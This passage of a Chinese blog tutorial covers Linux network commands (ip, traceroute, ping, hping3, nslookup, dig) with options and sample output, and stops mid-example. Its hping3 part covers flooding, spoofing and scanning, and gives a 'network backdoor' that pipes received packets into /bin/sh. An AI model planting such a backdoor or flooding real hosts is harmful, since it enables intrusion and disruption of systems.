Linux網路命令與指令碼使用

鋼閘門發表於2021-06-28

作為系統管理員,經常需要診斷和解決網路問題,而配置、監控與保護網路有助於發現問題並在事情範圍擴大前得意解決,並且網路的效能與安全也是管理與診斷網路的重要部分。這裡總結一下常用與Linux網路管理的命令,大概60個長期更新。

IP

iproute2 包含網路、路由、ARP快取等的管理與配置的ip命令,用來取代傳統的 ifconfigrouteip 使用第二個引數,指定在物件執行的操作(例如,add delete show)。

ip 命令是配置網路介面的強大工具,任何 Linux 系統管理員都應該知道。它用於啟動或關閉介面、分配和刪除地址和路由、管理 ARP 快取等等。

ip 常用的子命令有:

  • link (l) 網路介面管理
  • address (a) IP地址管理
  • route (r) 路由表管理
  • neigh (n) arp表管理

各系統下的包名與安裝

  • Ubuntu/Debian: iproute2apt install iproute2
  • Centos/Fedora: iproute2yum install -y iproute2
  • Apline:iproute2 apk add iproute2

ip link 用於管理和顯示網路介面

檢視特定裝置資訊

ip link show dev [device]

檢視所有網路介面的統計資訊(如傳輸或丟棄的資料包,錯誤等等):

ip -s link

檢視單個網路介面的類似資訊:

ip -s link ls [interface]

例如

[root@vm207694 ~]# ip -s link ls eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq state UP mode DEFAULT group default qlen 1000
    link/ether da:78:c8:7a:fb:26 brd ff:ff:ff:ff:ff:ff
    RX: bytes  packets  errors  dropped overrun mcast   
    38626072259 324723879 0       347316  0       0       
    TX: bytes  packets  errors  dropped carrier collsns 
    13404948080 6829250  0       0       0       0       

如果需要顯示更多的詳情,可以再新增一個 -s

ip -s -s link ls [interface]

僅檢視啟動(執行)的介面列表

ip link ls up

檢視 ip link 的幫助

ip link help

啟動/關閉網路介面

ip link set [interface] up/down

ip link 可以修改裝置傳輸佇列的長度

ip link set txqueuelen [number] dev [interface]

設定 MTU (Maximum Transmission Unit) 來提高網路效能

ip link set mtu [number] dev [interface]

檢視與管理IP地址 ip addr

顯示所有裝置

ip addr 

列出網路介面與IP地址

ip addr show

檢視單個網路裝置的資訊

ip addr show dev [interface]

列出 IPv4/IPv6 地址

ip -4 addr
ip -6 addr

在Linux中新增網路地址

ip addr add [ip_address] dev [interface]

新增廣播地址

ip addr add brd [ip_address] dev [interface]

刪除介面上的網路地址

ip addr del [ip_address] dev [interface]

管理路由表 ip route

顯示路由表 ip route list

ip route
ip route list

選擇範圍;上述命令列出核心內所有路由條目,如果想要縮小範圍可以使用選擇器 SELECTOR

語法:ip route list SELECTOR

SELECTOR:

  • root:[ local | main | default | all | NUMBER ]

  • match

    [ match PREFIX ]

    ip route list match 10
    
  • exact: [ exact PREFIX ]

  • TABLE

    [ table TABLE_ID ] [ local | main | default | all | NUMBER ]

    ip route list table local
    
    broadcast 127.0.0.0 dev lo proto kernel scope link src 127.0.0.1 
    local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1 
    local 127.0.0.1 dev lo proto kernel scope host src 127.0.0.1 
    broadcast 127.255.255.255 dev lo proto kernel scope link src 127.0.0.1 
    broadcast 195.133.10.0 dev eth0 proto kernel scope link src 195.133.11.43 
    local 195.133.11.43 dev eth0 proto kernel scope host src 195.133.11.43 
    broadcast 195.133.11.255 dev eth0 proto kernel scope link src 195.133.11.43 
    
  • PROTO

    [ proto RTPROTO ] [ kernel | boot | static | NUMBER ]

    ip route list proto static
    
  • TYPE

    [ type TYPE ] { unicast | local | broadcast | multicast | throw |unreachable | prohibit | blackhole | nat }

    ip route list type multicast
    
  • SCOPE

    [ scope SCOPE ] [ host | link | global | NUMBER ]

    ip route list scope link
    
    169.254.0.0/16 dev eth0 metric 1002 
    172.16.0.0/20 dev eth0 proto kernel src 172.16.0.2 
    

修改路由表 ip route add/del

在指定裝置上新增路由條目

ip route add [ip_address] dev [interface]

通過閘道器新增新路由

ip route add [ip_address] via [gatewayIP]

通過本地閘道器為所有地址新增預設路由

ip route add default [ip_address] dev [device]

ip route add default [network/mask] via [gatewayIP]

刪除已經存在的路由表

ip route del [ip_address]
ip route del default
ip route del [ip_address] dev [interface]

ARP地址表管理 ip neighbor

顯示arp 條目 ip neigh show

顯示系統中裝置的MAC地址及其狀態。裝置存在的狀態:

狀態 說明
REACHABLE 在超時過期之前有效且可訪問的條目
PERMANENT 管理員才能刪除的永久條目
STALE 有效但無法訪問的條目;為了檢查它的狀態,核心在第一次傳輸時檢查

例如

ip neigh show

192.168.10.1 dev eth0 lladdr 00:1f:ce:72:bd:8c REACHABLE
46.17.40.155 dev eth0 lladdr c4:71:fe:f1:9f:3f STALE
2a00:b700:3::1 dev eth0 lladdr 00:1f:ce:72:bd:8c router STALE
fe80::f0c5:a5ff:fee8:2aa4 dev eth0 lladdr f2:c5:a5:e8:2a:a4 router STALE
fe80::a48a:1eff:fe35:c2f7 dev eth0 lladdr a6:8a:1e:35:c2:f7 router STALE
fe80::4c4d:b3ff:fe44:fd58 dev eth0 lladdr 4e:4d:b3:44:fd:58 router STALE
fe80::4c33:dfff:fe92:9f2f dev eth0 lladdr 4e:33:df:92:9f:2f router STALE
fe80::21f:ceff:fe72:bd8c dev eth0 lladdr 00:1f:ce:72:bd:8c router STALE

修改arp條目 ip neigh add/del

ip neigh add [ip_address] dev [interface]

ip neigh del [ip_address] dev [interface]

traceroute

traceroute 可以追蹤資料傳輸是如何從本地傳輸到遠端的。一個典型的例子是網頁的訪問。在網際網路上載入一個網頁需要資料流經一個網路和許多路由器。traceroute 可以顯示所採用的路由以及網路上路由器的IP和主機名。它可以應用於排查網路延遲或診斷網路問題。

各系統下的包名與安裝

  • Ubuntu/Debian: tracerouteapt install traceroute -y
  • Centos/Fedora: tracerouteyum install -y traceroute
  • Apline:busybox apk add busybox

追蹤網路主機的路由 traceroute host

traceroute baidu.com

traceroute to baidu.com (220.181.38.148), 30 hops max, 60 byte packets
 1  * 9.31.61.129 (9.31.61.129)  1.795 ms *
 2  9.31.123.98 (9.31.123.98)  0.907 ms  1.179 ms  1.416 ms
 3  10.196.18.109 (10.196.18.109)  0.866 ms 10.196.18.125 (10.196.18.125)  1.085 ms *
 4  10.162.33.5 (10.162.33.5)  1.297 ms 10.200.16.169 (10.200.16.169)  0.774 ms 10.196.92.109 (10.196.92.109)  1.218 ms
 5  10.162.32.145 (10.162.32.145)  1.539 ms  1.431 ms 10.162.32.149 (10.162.32.149)  1.310 ms
 6  * * *
 7  58.63.249.45 (58.63.249.45)  7.320 ms * 121.14.50.25 (121.14.50.25)  7.859 ms
 8  * * 113.96.4.121 (113.96.4.121)  4.887 ms
 9  202.97.22.149 (202.97.22.149)  32.481 ms 202.97.22.153 (202.97.22.153)  32.676 ms
10  36.110.245.206 (36.110.245.206)  36.928 ms 36.110.247.54 (36.110.247.54)  37.593 ms 36.110.245.82 (36.110.245.82)  41.254 ms
11  36.110.245.161 (36.110.245.161)  33.749 ms *  37.905 ms
12  * * *
13  * * 220.181.182.170 (220.181.182.170)  42.998 ms
14  * * *
15  * * *
16  * * *
17  * * *
18  * * *
19  * * *
20  * * *
21  * * *
22  * * *
23  * * *
24  * * *
25  * * *
26  * * *
27  * * *
28  * * *
29  * * *
30  * * *

第一行顯示要訪問的主機名和ip、traceroute將嘗試到主機的最大躍點數以及要傳送的位元組資料包的大小。

每行列出到達目的地的一個跳躍點。給出主機名與主機名的ip,然後是資料包到達主機並返回發起計算機所需的時間。預設情況下,traceroute 為每個主機傳送三個資料包,因此列出了三個響應時間。

星號 * 表示丟失的資料包。這意味著網路中斷、大量流量導致網路擁塞或防火牆丟棄流量。

追蹤IPv6協議

traceroute -6 ipv6.google.com

忽略主機名與IP的對映

使用-n選項在traceroute中禁用IP地址對映。

traceroute -n qq.com

traceroute to qq.com (183.3.226.35), 30 hops max, 60 byte packets
 1  9.31.61.129  0.908 ms  1.159 ms  1.537 ms
 2  9.31.122.210  1.061 ms  0.837 ms  1.421 ms

設定相應等待時間

使用 -w 選項在traceroute 中配置響應等待時間,支援指定等待對探測的響應的時間(秒為單位)。

traceroute -w 1 -n qq.com

使用特定的網路介面

使用-i選項設定traceroute應使用的網路介面,如果未設定,則根據路由表選擇介面。

traceroute -w 1 -n -i eth0 qq.com

ping & hping

ping

Ping是一種簡單、廣泛使用的跨平臺網路工具,用於測試主機是否可以在Internet協議(IP)網路上訪問。它的工作原理是向目標主機傳送網路控制訊息協議Internet Control Message Protocol (ICMP) ECHO_REQUEST,目標節點等待並回復 ECHO_RESPONSE

可以使用ping 測試兩節點間的網路通訊,可以做到:

  • 目標主機是否可用,
  • 測量資料包到達目標主機並返回計算機所需的時間(與目標主機通訊的往返時間(rtt)),以及資料包丟失的百分比。

各系統下的安裝

  • Ubuntu/Debian: iputils-pingapt install iputils-ping
  • Centos/Fedora: iputilsyum install -y iputils
  • Apline:iputils apk add iputils

使用引數

引數 說明
-c 指定傳送ECHO_REQUEST的請求數
-i 設定包與包之間的間隔 ping -i 3 -c 5 www.google.com
-f flood ping,檢測高負載下的響應,需要有root許可權
-b 允許ping一個廣播地址
-t 限制ping遍歷的網路跳躍數(TTL Time-to-live),收到資料包的每個路由器從計數中至少減去 1,如果大於 0,路由器會將資料包轉發到下一跳,否則它會丟棄它並將 ICMP 響應返回。
-s 設定ping時的資料包大小(單位 bytes),這將導致提供的總資料包大小加上ICMP頭的8個額外位元組。
-l 傳送預載入資料包(先發不等待回覆的資料包),大於3需要root許可權
-W 設定等待相應時間,單位秒
-w 設定超時時間,超時退出,單位秒
-d debug模式
-v 顯示詳細輸出
-A 更快的在兩節點間包往返的時間,非特權使用者最小為200ms

hping

hping一個具有可嵌入tcl指令碼功能的 TCP/IP包偽造工具。,主要用於建立或生成網路資料包以測試網路、服務或系統效能。 hping 是由不同實體開發的舊工具,並以 hping2hping3 等新版本命名。 在大多數情況下,您可以使用作業系統提供的命令,可以是 hping 或 hping2 或 hping3。 hping 名稱源自 ping 命令名稱。hping3 是另一種用於掃描網路的工具。它在kali linux中預設是DOS攻擊軟體之一。

hping支援TCP、UDP、ICMP、raw-IP等協議用於不同的用例。通過使用hping,可以建立具有不同選項的不同協議包。hping主要可以用作。

  • 建立原始IP資料包
  • 生成指定數量的資料包
  • 設定包傳送間隔
  • 指定傳輸網路介面
  • 建立和生成TCP資料包
  • 建立和生成UDP資料包
  • 建立和生成IP資料包
  • 建立和生成ICMP資料包
  • 設定MTU值
  • 設定碎片並建立碎片或未碎片的資料包
  • 設定資料包的有效負載或資料大小

hping的常用場景

  • 模擬DOS和DDOS攻擊
  • 測試防火牆和TCP、UDP、IP等協議的防火牆配置
  • TCP和UDP埠掃描
  • 測試網路裝置的配置,如碎片、MTU等。
  • 用於列出中間主機的高階跟蹤路由
  • 遠端作業系統指紋識別和檢測
  • 遠端正常執行時間決策
  • TCP/IP協議實現與棧測試審計

各系統下的安裝

  • Ubuntu/Debian: hping3apt install hping3
  • Centos/Fedora: hping3yum install epel-release && yum install -y hping3
  • Apline:hping3 apk add hping3 --update-cache --repository http://dl-cdn.alpinelinux.org/alpine/edge/testing

引數說明

基礎引數

引數選項 引數說明
-c --count [count] 傳送資料包的次數 關於countreached_timeout 可以在hping2.h裡編輯
-i --interval 每個包傳送間隔時間(單位是毫秒) 預設時間是1秒,此功能在增加傳輸率上很重要。
-i 1 為1s
-i u1 為1us (微秒) 即每秒傳送1000000包
--fast -i u10000 的別名,即1秒傳送10個包
--faster -i u1 的別名,但實際上傳送的包取決於計算機的速度
--flood 儘可能快速的傳送包,不關注收到的恢復,要比 -i u0
-I --interface [interface name] 指定預設的路由介面,在linux中,hping3使用預設路由介面。
可以使用 -I 接網路介面的完整名稱,如 eth0
-q -quiet 安靜輸出。除了啟動時和完成時的摘要資訊外,不輸出任何內容。
-n -nmeric 數字化輸出主機地址

協議選項

預設情況下,hping使用的為tcp協議

選項 說明
-0 --rawip 原始IP模式,此模式下,hping3將傳送IP頭。
-1 --icmp ICMP模式,預設情況下hping3將傳送ICMP回顯請求。
-2 --udp UDP模式,預設情況下,hping3將向目標主機的0埠傳送UDP
-8 --scan 埠掃描,在該模式下,需要提供一組埠,如 1,2,3 埠組以 , 分隔
埠範圍:start-end1000-2000
特殊字元:all 表示所有埠;know :包含 /etc/services 中的所有埠
組合寫法:hping --scan 1-1000,8888,known -S www.baidu.com
-9 --listen signature 監聽模式,此模式下 hping3 等待包含簽名的資料包並從簽名端轉儲到資料包的結尾處。

IP相關選項

引數 說明
-a --spoof hostname 此選項可以偽造源IP地址,可確保目標不會獲得真實IP地址,必然性的響應將被髮送到偽造的地址處。
--rand-source 此選項開啟隨機源模式。hping將傳送帶有隨機源地址的資料包。
--rand-dest 此選項開啟隨機目標模式。hping將資料包傳送到隨機目標地址
如,當使用隨機目標地址時,可以使用x 作為範圍,所有出現的 x 都將唄替換為0-255之間的隨機數。如10.0.0.x。可以使用--debug 選項檢視生成的隨機地址。
注意:使用此選項,hping無法檢測資料包的正確傳出介面,應使用 -I 選項指定網路介面。
-t --ttl 此選項可以設定傳出資料包的TTL(生存時間)
-N id 設定IP欄位的隨機值
-H --ipproto 在RAW IP模式中設定IP協議
-r --rel ip id等增量
-m –mtu 設定虛擬最大傳輸單元

icmp選項

引數 說明
-C --icmptype type 設定icmp型別,預設為icmp echo reques。
--icmp-ipver 設設定包含在ICMP資料中的IP頭的IP版本,預設值為4。
--icmp-ipproto 設定包含在ICMP資料中的IP頭的IP協議,預設為TCP。

TCP/UDP選項

引數 說明
-s --baseport [src port] 隨機源埠
-p --destport [dest port] 設定目標埠
+ 目標埠將隨著收到的每個回覆而增加
++ 目標埠每傳送資料包都會增加
--keep 保持源埠不邊
-w --win 設定tcp視窗大小,預設64
-F --fin 設定 tcp fin標記
-S --syn 設定 tcp SYN標記
-R --rst 設定 tcp rst標記
-P --push 設定 tcp PUSH標記
-A --ack 設定 tcp ACK標記
-U --urg 設定 tcp URG標記
-X --xmas 設定 tcp Xmas標記
-Y --ymas 設定 tcp Ymas標記

常用引數

引數 說明
-d --data 設定資料包主體大小。 使用 --data 40 hping將在 protocol_header 增加40 位元組。
-E --file [filename] 使用檔名內容填充資料包的資料
-j --dump 以16進位制匯出資料包
-J --print 匯出可列印的資料包
-u --end 如果使用 ``--file filename` 選項,何時為EOF。
-T --traceroute traceroute 模式。此選項將在接收ttl來嘗試追蹤。
--tr-keep-ttl 保持ttl的固定,用於監視某一跳
–tr-stop traceroute 下收到第一個不是ICMP時退出
....

輸出格式

hping的一個標準的TCP/UDP格式如下,UDP欄位含義與TCP的相同。

# tcp
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms

# udp
len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms
  • len:len是從資料鏈路層捕獲的資料的大小(位元組),不包括資料鏈路頭大小。
  • ip: ip 為請求的ip
  • flags:flags為TCP的標記,如
    • R RESET
    • S SYN
    • A ACK
    • F FIN
    • P PUSH
    • U URGENT
    • X 不標準的 0x40
    • Y 不標準的 0x80
  • seq:seq是資料包的序列號,使用TCP/UDP資料包的源埠獲得
  • id 是IP ID欄位。
  • win TCP 視窗大小
  • rtt 往返時間 (round trip time),單位毫秒
  • 以下是使用-V引數後的欄位
    • tos 是IP標頭的服務型別欄位。
    • iplen ip的總長度
    • seq 和 ack 是TCP標頭中的序列號和32位確認號
    • 是TCP標頭校驗和值。
    • urp TCP緊急指標值。

ICMP的輸出格式

ICMP Port Unreachable from ip=192.168.1.1 name=nano.marmoc.net

在此格式中,ip 為 ICMP 錯誤的 IP 地址,name為解析的名稱或者為UNKNOWN,而其他的引數含義與TCP/UDP大致相同。

埠掃描

hping可以自由地建立原始IP、TCP、UDP和ICMP資料包。可以利用此功能生成 TCP SYN 掃描。TCP-SYN 掃描是最簡單的將資料包傳送到主機/IP埠的方法。這裡 掃描的為110.242.68.4:80

啟動經典的掃描的最簡單方法是將TCP-SYN資料包傳送到主機/ip上的埠。下面的命令將掃描IP 192.168.8.223上的埠80。從輸出中,可以看到 flags=SA SYN和ACK標記,代表一個開放埠。

hping3 -S 110.242.68.4 -p 80 -c 2

掃描一個範圍的埠可以使用 ++

hping3 -S 110.242.68.4 -p ++80

也可以使用如下方式

hping3 -8 80-86 -S 110.242.68.4 

Scanning 110.242.68.4 (110.242.68.4), port 80-86
7 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name |  flags  |ttl| id  | win | len |
+----+-----------+---------+---+-----+-----+-----+
   80 http       : .S..A... 128 60936 64240    46
All replies received. Done.
Not responding ports: (81 ) (82 xfer) (83 mit-ml-dev) (84 ctf) (85 ) (86 mfcobol) 

通過Hping3跟蹤路由到指定埠:

hping3支援一個很實用功能,可以追蹤路由到一個指出的埠,檢視你的資料包被阻塞的地方。

hping3 --traceroute -p 80 -V -1 www.google.com

using eth0, addr: 195.133.11.43, MTU: 1500
HPING www.google.com (eth0 142.250.150.104): icmp mode set, 28 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=195.133.10.1 name=gateway   
hop=1 hoprtt=3.1 ms
hop=2 TTL 0 during transit from ip=10.11.12.37 name=UNKNOWN   
hop=2 hoprtt=10.0 ms
hop=3 TTL 0 during transit from ip=62.140.243.62 name=msk-m9-b1-ae30-vlan449.fiord.net
hop=3 hoprtt=1.9 ms
hop=4 TTL 0 during transit from ip=62.140.239.113 name=msk-m9-b6-ae1-vlan12.fiord.net
hop=4 hoprtt=9.8 ms
hop=5 TTL 0 during transit from ip=72.14.222.198 name=UNKNOWN   
hop=5 hoprtt=4.2 ms
hop=6 TTL 0 during transit from ip=108.170.250.33 name=UNKNOWN   
hop=6 hoprtt=3.8 ms
hop=7 TTL 0 during transit from ip=108.170.250.51 name=UNKNOWN   
hop=7 hoprtt=2.5 ms
hop=8 TTL 0 during transit from ip=142.251.49.158 name=UNKNOWN   
hop=8 hoprtt=34.7 ms
hop=9 TTL 0 during transit from ip=108.170.235.204 name=UNKNOWN   
hop=9 hoprtt=18.2 ms
hop=10 TTL 0 during transit from ip=142.250.209.35 name=UNKNOWN   
hop=10 hoprtt=17.1 ms
....

不同型別的ICMP

hping3 -c 5 -V -1 -C 17 110.242.68.4 

using eth0, addr: 10.0.0.4, MTU: 1500
HPING 110.242.68.4 (eth0 110.242.68.4): icmp mode set, 28 headers + 0 data bytes

--- 110.242.68.4 hping statistic ---
5 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

通過hping3進行TCP FIN掃描

在TCP連線中,FIN標誌用於開始請求關閉連線。萬一沒有得到答覆,那說明埠是開放的。通常防火牆會再次傳送Rst+ack資料包,以指示該埠已關閉。

通過hping3 進行ACK掃描

有些情況下,主機可能禁止PING ICMP,此時使用ACK掃描可以用於檢查主機是否處於活動狀態。如果主機活躍,會相應RST標記,在hping中是為 flags=R

hping3 -c 2 -V -p 80 -A 110.242.68.4 

using eth0, addr: 10.0.0.4, MTU: 1500
HPING 110.242.68.4 (eth0 110.242.68.4): A set, 40 headers + 0 data bytes
len=46 ip=110.242.68.4 ttl=128 id=2391 tos=0 iplen=40
sport=80 flags=R seq=0 win=32767 rtt=0.6 ms
seq=1165126080 ack=0 sum=c0ba urp=0

UDP掃描

使用引數 -2 可以讓hping工作於UDP模式,可以進行UDP掃描

hping3 -2 8.8.4.4 -V -p 53 -c 10

作業系統識別

使用-Q或-seqnum可以讓hping 收集了ISN。

hping3 127.0.0.1 -Q -p 22 -V -S

using lo, addr: 127.0.0.1, MTU: 65536
HPING 127.0.0.1 (lo 127.0.0.1): S set, 40 headers + 0 data bytes
 893247485 +893247485
2568100167 +1674852682
2600543427 +32443260

內容探測

可以使用hping的監聽模式,來抓取通過網路介面的所有流量,以及捕獲對應的內容。例如抓取通過谷歌搜尋的流量包

hping3 -9 "www.google.com" --beep -I eth0

hping2 listen mode
[main] memlockall(): Success
Warning: can't disable memory paging!



Accept: */*

.hk/url?sa=p&hl=zh-CN&pref=hkredirect&pval=yes&q=http://www.google.com.hk/&ust=1624605433464983&usg=AOvVaw2THxd5w15lxgX3_KA19GWL
Cache-Control: private
Content-Type: text/html; charset=UTF-8
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Date: Fri, 25 Jun 2021 07:16:43 GMT
Server: gws
Content-Length: 370
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
Set-Cookie: 1P_JAR=2021-06-25-07; expires=Sun, 25-Jul-2021 07:16:43 GMT; path=/; domain=.google.com; Secure
Set-Cookie: NID=217=PdQLBtU-tTavgvb4BW9ouB3nAr1OKNK6I_kn9u2Qa2eTgLA_qLyGv2G_2t2G_PRNVrKu2SOEm-e7ED17ljnx3uFBweBjQWOyRvHrJ6jhC5_J3yaBK0r8mikUrqHNjDez5F3rCleFQDurBEfnqECDFXNkvvO_-Wn4ahGJeid01TM; expires=Sat, 25-Dec-2021 07:16:43 GMT; path=/; domain=.google.com; HttpOnly

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://www.google.com.hk/url?sa=p&amp;hl=zh-CN&amp;pref=hkredirect&amp;pval=yes&amp;q=http://www.google.com.hk/&amp;ust=1624605433464983&amp;usg=AOvVaw2THxd5w15lxgX3_KA19GWL">here</A>.
</BODY></HTML>
.hk/&ust=1624605433464983&usg=AOvVaw2THxd5w15lxgX3_KA19GWL HTTP/1.1
User-Agent: curl/7.29.0
Host: www.google.com.hk
Accept: */*

.hk/
Cache-Control: private
Content-Type: text/html; charset=UTF-8
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Date: Fri, 25 Jun 2021 07:16:43 GMT
Server: gws
Content-Length: 222
X-XSS-Protection: 0
Set-Cookie: 1P_JAR=2021-06-25-07; e

網路後門

可以通過hping3的監聽模式,建立一個簡單的後門(backdoor),通過管道來執行指令碼

hping3 -I eth1 -9 secret | /bin/sh

hping3 -R 192.168.1.100 -e secret -E commands_file -d 100 -c 1

dig & nslookup

nslookup(name server lookup)用於在Linux中執行DNS查詢的工具。用於顯示DNS詳細資訊,例如計算機的IP地址、域的MX記錄或域的NS伺服器。

nslookup 可以在兩種模式下執行:互動式和非互動式。互動模式可以查詢名稱伺服器以獲取有關各種主機和域的資訊或列印域中的主機列表。非互動模式僅列印主機或域的名稱和請求的資訊。

dig(Domain Information Groper) 執行DNS查詢。預設情況下,dig查詢通過 resolver ( /etc/resolv.conf ) 中列出的DNS地址,除非指定特定的name server。

各系統下的安裝

  • Ubuntu/Debian: knot-dnsutilsapt install knot-dnsutils
  • Centos/Fedora: bind-utils | dnsutilsyum install -y bind-utils
  • Apline:bind-tools apk add bind-tools

nslookup

簡單查詢

nslookup後跟域名將顯示域名的“A記錄”(IP地址),nslookup命令的預設輸出比dig命令的預設輸出相對整潔些。

nslookup redhat.com

執行反向DNS查詢:

nslookup 208.117.229.88

查詢MX記錄

MX( Mail Exchange )記錄將域名對映到該域的郵件伺服器列表。MX記錄表明發到 @qq.com 的所有郵件都應該路由到該域中的郵件伺服器。

nslookup -query=mx qq.com

Server:         183.60.83.19
Address:        183.60.83.19#53

Non-authoritative answer:
qq.com  mail exchanger = 20 mx2.qq.com.
qq.com  mail exchanger = 30 mx1.qq.com.
qq.com  mail exchanger = 10 mx3.qq.com.

Authoritative answers can be found from:

Authoritative Answer與Non-Authoritative Answer

可以注意到注意到上面輸出中的關鍵字 AuthoritativeNon-Authoritative Answer。任何來自DNS伺服器的答覆都稱為Authoritative Answer,該伺服器具有域可用的完整區域檔案資訊。在許多情況下,DNS伺服器將不具備給定域的完整區域檔案資訊。相反,它維護一個快取檔案,該檔案包含過去執行的所有查詢的結果,並已獲得權威響應。當給出一個DNS查詢時,它搜尋快取檔案,並以 Non-Authoritative Answer 的形式返回可用的資訊。

查詢NS記錄

NS ( Name Server ) 記錄將域名對映到該域的授權DNS伺服器列表。它將輸出與給定域關聯的名稱服務。

nslookup -type=ns qq.com

Server:         183.60.83.19
Address:        183.60.83.19#53

Non-authoritative answer:
qq.com  nameserver = ns1.qq.com.
qq.com  nameserver = ns2.qq.com.
qq.com  nameserver = ns3.qq.com.
qq.com  nameserver = ns4.qq.com.

Authoritative answers can be found from:

查詢SOA記錄

SOA ( start of authority )記錄\,提供關於域的權威資訊、域管理員的電子郵件地址、域序列號等。

nslookup -type=soa qq.com

Server:         183.60.83.19
Address:        183.60.83.19#53

Non-authoritative answer:
qq.com
        origin = ns1.qq.com
        mail addr = webmaster.qq.com
        serial = 1330914143
        refresh = 3600
        retry = 300
        expire = 86400
        minimum = 300

Authoritative answers can be found from:
  • mail addr–指定域管理員的郵件地址
  • serial 一種版本編號系統。標準慣例是使用 YYYYMMYNN 格式 2012-07-16.01如果在同一天進行了多個編輯,則將遞增)
  • refresh 指定從DNS服務何時輪詢主DNS以檢視序列號是否已增加(以秒為單位)。如果增加,從DNS伺服器將發出複製新區域檔案的新請求。
  • retry 指定與主DNS重新連線的間隔
  • expire 指定輔助DNS保持快取區域檔案有效的時間
  • minimum 指定從DNS應快取區域檔案的時間

檢視可用的DNS記錄

nslookup -type=any qq.com

Server:         183.60.83.19
Address:        183.60.83.19#53

Non-authoritative answer:
Name:   qq.com
Address: 61.129.7.47
Name:   qq.com
Address: 183.3.226.35
Name:   qq.com
Address: 203.205.254.157
Name:   qq.com
Address: 123.151.137.18
qq.com  mail exchanger = 10 mx3.qq.com.
qq.com  mail exchanger = 20 mx2.qq.com.
qq.com  mail exchanger = 30 mx1.qq.com.

Authoritative answers can be found from:

使用指定DNS查詢

可以指定特定的DNS來解析域名,而不是使用預設DNS進行查詢。

nslookup www.qq.com 8.8.8.8

Server:         8.8.8.8
Address:        8.8.8.8#53

Non-authoritative answer:
www.qq.com      canonical name = news.qq.com.edgekey.net.
news.qq.com.edgekey.net canonical name = e6156.dscf.akamaiedge.net.
Name:   e6156.dscf.akamaiedge.net
Address: 23.219.132.75
Name:   e6156.dscf.akamaiedge.net
Address: 2600:1417:76:494::180c
Name:   e6156.dscf.akamaiedge.net
Address: 2600:1417:76:480::180c

使用特殊的dns埠

預設情況下,DNS使用埠號為53。可以使用-port選項指定埠號。

nslookup -port 56 qq.com

設定超時時間

可以使用 -timeout 選項來指定超時時間

nslookup -timeout=10 qq.com

啟用除錯模式

-debug 選項開啟/關閉除錯

nslookup -debug qq.com

Server:         183.60.83.19
Address:        183.60.83.19#53

------------
    QUESTIONS:
        qq.com, type = A, class = IN
    ANSWERS:
    ->  qq.com
        internet address = 183.3.226.35
        ttl = 92
    ->  qq.com
        internet address = 203.205.254.157
        ttl = 92
    ->  qq.com
        internet address = 61.129.7.47
        ttl = 92
    ->  qq.com
        internet address = 123.151.137.18
        ttl = 92
    AUTHORITY RECORDS:
    ADDITIONAL RECORDS:
------------
Non-authoritative answer:
Name:   qq.com
Address: 183.3.226.35
Name:   qq.com
Address: 203.205.254.157
Name:   qq.com
Address: 61.129.7.47
Name:   qq.com
Address: 123.151.137.18
------------
    QUESTIONS:
        qq.com, type = AAAA, class = IN
    ANSWERS:
    AUTHORITY RECORDS:
    ->  qq.com
        origin = ns1.qq.com
        mail addr = webmaster.qq.com
        serial = 1330914143
        refresh = 3600
        retry = 300
        expire = 86400
        minimum = 300
        ttl = 296
    ADDITIONAL RECORDS:
------------

dig

語法

dig @server name type

解析IP地址

dig 通常不帶引數地用於獲取提供的DNS名稱的IP地址。預設使用系統提供的DNS伺服器用於DNS解析。

dig www.qq.com

; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.3 <<>> www.qq.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40004
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.qq.com.                    IN      A

;; ANSWER SECTION:
www.qq.com.             132     IN      CNAME   ins-r23tsuuf.ias.tencent-cloud.net.
ins-r23tsuuf.ias.tencent-cloud.net. 60 IN A     109.244.236.76
ins-r23tsuuf.ias.tencent-cloud.net. 60 IN A     109.244.236.65

;; Query time: 11 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Tue Jun 22 21:39:33 CST 2021
;; MSG SIZE  rcvd: 108

dig命令輸出包括以下部分

  • HEADER:顯示dig命令的版本號、dig命令使用的全域性選項,以及一些附加的Header資訊。
  • QUESTION SECTION:顯示dig像DNSserver發出的請求。即你請求的域名。這裡使用dig命令獲取qq.com使用的預設型別(A記錄)
  • ANSWER SECTION:顯示從DNS接收到的應答。將顯示qq.com 的A記錄
  • ADDITIONAL SECTION:顯示ADDITIONAL SECTION 中列出的DNS伺服器的ip地址。
  • 底部的Stats部分顯示一些dig命令統計資訊,包括執行此查詢所用的時間

僅顯示應答部分

在大多數情況下,我們只需要檢視dig的 ANSWER SECTION。可以僅列印該部分。

  • +nocomments 不顯示註釋行
  • +noauthority 不顯示authority部分
  • +noadditional 不顯示 additional 部分
  • +nostats 不顯示統計資訊 stats
  • +noanswer 關掉ANSWER 部分,這裡一般為想要的結果
dig www.qq.com \
    +nocomments \
    +noquestion \
    +noauthority \
    +noadditional \
    +nostats

; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.3 <<>> www.qq.com +nocomments +noquestion +noauthority +noadditional +nostats
;; global options: +cmd
www.qq.com.             180     IN      CNAME   ins-r23tsuuf.ias.tencent-cloud.net.
ins-r23tsuuf.ias.tencent-cloud.net. 31 IN A     109.244.236.65
ins-r23tsuuf.ias.tencent-cloud.net. 31 IN A     109.244.236.76

也可以使用 +noal 禁用所有不需要的部分,當然也會關掉 answer ,然後+answer 只顯示 answer部分,這樣看起來簡潔些。

dig www.qq.com \
